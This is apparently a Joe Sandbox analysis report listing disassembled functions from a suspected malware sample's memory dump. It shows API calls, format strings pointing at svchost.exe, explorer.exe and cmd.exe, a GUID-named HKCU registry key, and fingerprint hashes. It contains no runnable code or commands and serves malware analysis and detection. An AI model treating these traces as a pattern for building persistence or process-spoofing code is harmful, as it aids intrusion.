Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$FileModuleName__snwprintf
String ID: %s\explorer.exe
API String ID: 4103235260-2893622748
Opcode ID: 31c1e625cdbf83aff56124f46f5174044c8c4ce9de35e4df9dff604db710ccac
Instruction ID: 70bc5097a6a9792a1e3d832baa9b17f89c796770166247d98a7d725e3bfabaa6
Opcode Fuzzy Hash: 31c1e625cdbf83aff56124f46f5174044c8c4ce9de35e4df9dff604db710ccac
Instruction Fuzzy Hash: 242162B4A04208FBDB10EBA8DD49E6D7BB9AF88741F104565F605A72D0DB749A40DB20

Function 0092BC80 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,0093BCBF), ref: 0092BC8D
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0092BCA7
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0092BCC1
GetModuleFileNameW.KERNEL32(00000000,00000000,00007FFF), ref: 0092BCDF
__snwprintf.LIBCMT ref: 0092BD0E
LocalFree.KERNEL32(00000000), ref: 0092BD2C
LocalFree.KERNEL32(00000000), ref: 0092BD36
LocalFree.KERNEL32(00000000), ref: 0092BD40
LocalFree.KERNEL32(00000000), ref: 0092BD51
LocalFree.KERNEL32(00000000), ref: 0092BD5B
LocalFree.KERNEL32(00000000), ref: 0092BD65

Strings

%s\svchost.exe, xrefs: 0092BD00

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$FileModuleName__snwprintf
String ID: %s\svchost.exe
API String ID: 4103235260-1955667316
Opcode ID: 58a7c0df0458676fd603a2448300be61523dcac5715307d5e52863b3e2c64529
Instruction ID: f101aaa6ae5f95fded4fcc1abf3f67a9cc26dd334a7806d57d0a3148f2acdc70
Opcode Fuzzy Hash: 58a7c0df0458676fd603a2448300be61523dcac5715307d5e52863b3e2c64529
Instruction Fuzzy Hash: CC2162B4A14208FBDB10ABE8DC49EAD7BB9AF48741F108565B605AB2D0DB749A40DB20

Function 00933350 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 73memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00933364
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00933385
SHGetKnownFolderPath.SHELL32(00957C30,00000000,00000000,00000000), ref: 009333AC
__snwprintf.LIBCMT ref: 009333E4
__snwprintf.LIBCMT ref: 009333FE
LocalFree.KERNEL32(00000000), ref: 0093340A
CoTaskMemFree.COMBASE(00000000), ref: 00933414
CoTaskMemFree.COMBASE(00000000), ref: 00933423
LocalFree.KERNEL32(00000000), ref: 0093342D
LocalFree.KERNEL32(00000000), ref: 00933437

Strings

%s\System32, xrefs: 009333F0
\\?\%s , xrefs: 009333D6

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: FreeLocal$AllocTask__snwprintf$FolderKnownPath
String ID: %s\System32$\\?\%s
API String ID: 2912309175-2868705786
Opcode ID: 9eedd05119972402df9bdf7460d93232b52014b40694673c761075840861de8d
Instruction ID: e5449fa11da3f67bb9478146f48cdd6c3531be987f1b7d698adefd1c63331777
Opcode Fuzzy Hash: 9eedd05119972402df9bdf7460d93232b52014b40694673c761075840861de8d
Instruction Fuzzy Hash: 79213DB5E54208FBDB14DBE8CC89FAEBB79AF48704F108599F601A7290D6749A40DB60

Function 00928A80 Relevance: 19.7, APIs: 13, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00930010: SHGetKnownFolderPath.SHELL32(00957C00,00000000,00000000,00936B10,00991178,00936B10), ref: 00930023
Part of subcall function 00930010: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00930034
Part of subcall function 00930010: wnsprintfW.SHLWAPI ref: 0093005F
Part of subcall function 00930010: CoTaskMemFree.COMBASE(?), ref: 0093007F

Part of subcall function 009281C0: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,00928D2B,00936B10,00000000), ref: 009281EB
Part of subcall function 009281C0: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,00928D2B), ref: 00928205
Part of subcall function 009281C0: wnsprintfW.SHLWAPI ref: 00928235
Part of subcall function 009281C0: wnsprintfW.SHLWAPI ref: 00928251
Part of subcall function 009281C0: LocalFree.KERNEL32(00000000), ref: 00928A43

LocalFree.KERNEL32(00000000), ref: 00928AE0
LocalFree.KERNEL32(00000000), ref: 00928AF0
LocalAlloc.KERNEL32(00000040,00030010), ref: 00928B3B
LocalAlloc.KERNEL32(00000040,00008AD0), ref: 00928B55
_memmove.LIBCMT ref: 00928B76
LocalFree.KERNEL32(00000000), ref: 00928C32
LocalFree.KERNEL32(00000000), ref: 00928C3C
LocalFree.KERNEL32(00000000), ref: 00928C46
LocalFree.KERNEL32(00000000), ref: 00928C57
LocalFree.KERNEL32(00000000), ref: 00928C61
LocalFree.KERNEL32(00000000), ref: 00928CA2
LocalFree.KERNEL32(00000000), ref: 00928CAC
LocalFree.KERNEL32(00000000), ref: 00928CB6

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$wnsprintf$FolderKnownPathTask_memmove
String ID:
API String ID: 1937843059-0
Opcode ID: c1d4e06fd5c0d3100c903dadebb9e0da8bf38e181a0b3fe1cd5244a6a849ca42
Instruction ID: a9b9fbf2fb14bd3c204fe058031e7a4c1a8cc9273a13464f502ad87d44349a5b
Opcode Fuzzy Hash: c1d4e06fd5c0d3100c903dadebb9e0da8bf38e181a0b3fe1cd5244a6a849ca42
Instruction Fuzzy Hash: 19613EB5D01218DBDB04DFA8DD89BEEBBB9BF88304F148529E601B7284D7789940CF60

Function 00929CE0 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowsDirectoryW.KERNEL32(00925538,00000104,?,00925538,00000000), ref: 00929CF2
__snwprintf.LIBCMT ref: 00929D0E
GetSystemDirectoryW.KERNEL32(00925538,00000104), ref: 00929D2E
__snwprintf.LIBCMT ref: 00929D4A

Strings

%s\CMD.EXE, xrefs: 00929D78
%s\EXPLORER.EXE, xrefs: 00929D00
%s\SVCHOST.EXE, xrefs: 00929D3C

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Directory__snwprintf$SystemWindows
String ID: %s\CMD.EXE$%s\EXPLORER.EXE$%s\SVCHOST.EXE
API String ID: 2322266053-3707798339
Opcode ID: f6c8981161e16f2994e2c2cddb71caf7558919822090834e11ce26a5c7a5ffb4
Instruction ID: 2748ebb3464c0a0284c0a01d98868fde06b3e190217b024416a19f2aaa53a80b
Opcode Fuzzy Hash: f6c8981161e16f2994e2c2cddb71caf7558919822090834e11ce26a5c7a5ffb4
Instruction Fuzzy Hash: 6D1154F1604354ABEF04DE68DC85FBA3768AF44704F148829FA188E1C4E6B4D990E750

Function 0092B3E0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 61registrytimeCOMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 0092B3FF
RegCreateKeyExW.ADVAPI32(80000001,?,00000000,00000000,00000000,000F003F,00000000,?,00000000), ref: 0092B426
RegCloseKey.ADVAPI32(?), ref: 0092B438
_memset.LIBCMT ref: 0092B446
GetSystemTime.KERNEL32(?), ref: 0092B465
SystemTimeToFileTime.KERNEL32(?,?), ref: 0092B476

Strings

{0D6172E3-C310-454B-A566-1C3CE2B77AB5}, xrefs: 0092B3E9
SOFTWARE\%s, xrefs: 0092B3EE

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Time$System$CloseCreateFile__snwprintf_memset
String ID: SOFTWARE\%s${0D6172E3-C310-454B-A566-1C3CE2B77AB5}
API String ID: 3491885642-2887747857
Opcode ID: 90c199c45a653631ff0aed63e655c2e795ca8a712da92aabb73991baa684e51b
Instruction ID: 046c4e90b9dc1bc8371f93a9db743c4d16a2a4ac579eaa8cab31227efb97391c
Opcode Fuzzy Hash: 90c199c45a653631ff0aed63e655c2e795ca8a712da92aabb73991baa684e51b
Instruction Fuzzy Hash: 1A11AB71A5421977EB10E7B0EC8AFFA736CAB44704F400954BA09D50D6FBB5A644C7A1

